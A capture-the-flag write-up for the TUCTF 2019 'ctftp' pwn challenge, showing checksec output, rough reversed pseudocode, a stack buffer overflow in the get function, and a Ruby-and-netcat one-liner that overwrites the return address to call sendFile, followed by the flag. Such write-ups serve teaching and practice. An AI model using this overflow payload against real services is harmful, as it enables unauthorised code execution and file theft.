Tags: stack-buffer-overflow 

Rating:

ctftp wasn't solved that many... but it actually was one of easiest ones really!

let's see what file it is:
```
$ file ./ctftp
ctftp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=fee7d187626ef9b20f3eb50b1047438c6df6c9d3, for GNU/Linux 3.2.0, not stripped
```
so what security mechanisms it has?
```
$ checksec ./ctftp
[*] '/home/cthulhu/practice/ctf/tuctf-2019/pwn/ctftp/ctftp'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

here is... ok, I was very lazy on this one... sort of reverse engineered pseudo code:
```
#include <stdio.h>
#include <stdlib.h>

char username[]; // 0x804c080
char *rfiles[] = {
""
};

int
match(char *arg1, char *arg2)
{
//
}

int
restrictedFiles(char *filename)
{
ebp_0xc = 1;

// i => ebp_0x8
for (int i=0; i < ebp_0xc; i++) {
ebp_0x10 = blacklist[i]; // ??
if (match(filename, ebp_0x10) != -1) {
printf("", i);
return 1;
}
}

return 0;
}

void
filter(char *filename, int len)
{
ebp_0x10 = malloc(0x40);
memset(ebp_0x10, 0, 0x40);

int i = 0; // ebp-0x8
int j = 0; // ebp-0xc

for (; i < len; i++) {
char ch = filename[i]; // ebp-0x11

if ( ch != '/'
|| ch != '\\'
|| ch != ','
|| ch != ':'
|| ch != ';'
|| ch != '`'
|| ch != '\n')
{
ebp_0x10[j] = ch;
j++;
}
}

memcpy(filename, ebp_0x10, 0x40);
free(ebp_0x10);
}

int
checkFile()
{
// permission checks (access)
}

void
sendFile(char *filename)
{
// read file and write to stdout
}

void
get()
{
printf("");

memset(ebp_0x48, 0, 0x40);

ebp_0x8 = read(0, ebp_0x48, 0x80);

if (restrictedFiles(ebp_0x48) == 0) {
filter(ebp_0x48, ebp_0x8);
if (checkFile(ebp_0x48) == 0) {
printf("");
sendFile(ebp_0x48);
}
}
}

void
welcome()
{
puts("");
printf("");
scanf("", name);
printf("", name);
}

int
menu()
{
puts("");
printf("");

int ret = 0;
scanf("", ret);

return ret;
}

int
main()
{
setvbuf(...);
setvbuf(...);

welcome();
do {
choice = menu();

if (choice == 1) {
system("");
}
else if (choice == 2) {
get();
}
else {
puts("");
}

} while (1);

return 0;
}
```

well... obviously, the vuln relies in here:
```
ebp_0x8 = read(0, ebp_0x48, 0x80);
```
!!!stack-based buffer overflow!!!

can we pwn it?
yes, we just need to enter a name (which gets stored in .bss segment, meaning static address) and then, enter 2 to call `get` function so then overwrite the `ret` address on stack, and so... do a rop/ret2libc/whatever

also, the fancy fact is: `system` function is imported!
quite awesome, since it's imported, it gets a plt and got entry, thus we can just use that to get code execution hell a lot easier that other approaches.

I actually used `sendFile` function to just get the flag from path `flags/flag.txt` which I guess the `flag.txt`, truth is, I forgot that `system` is used in .text at all.

payload struct: (filepath or bash command) + '\n' + '2\n' + padding + (sendFile or system@plt) + "AAAA" + username_addr
exploit:
```
ruby -e 'puts "flags\n" + "2\n" + "A"*76 + "\x63\x95\x04\x08"+"AAAA"+"\x80\xc0\x04\x08"' | nc chal.tuctf.com 30500
```

flag: `TUCTF{f1l73r_f1r57_7h3y_541d._y0u'll_b3_53cur3_7h3y_541d}`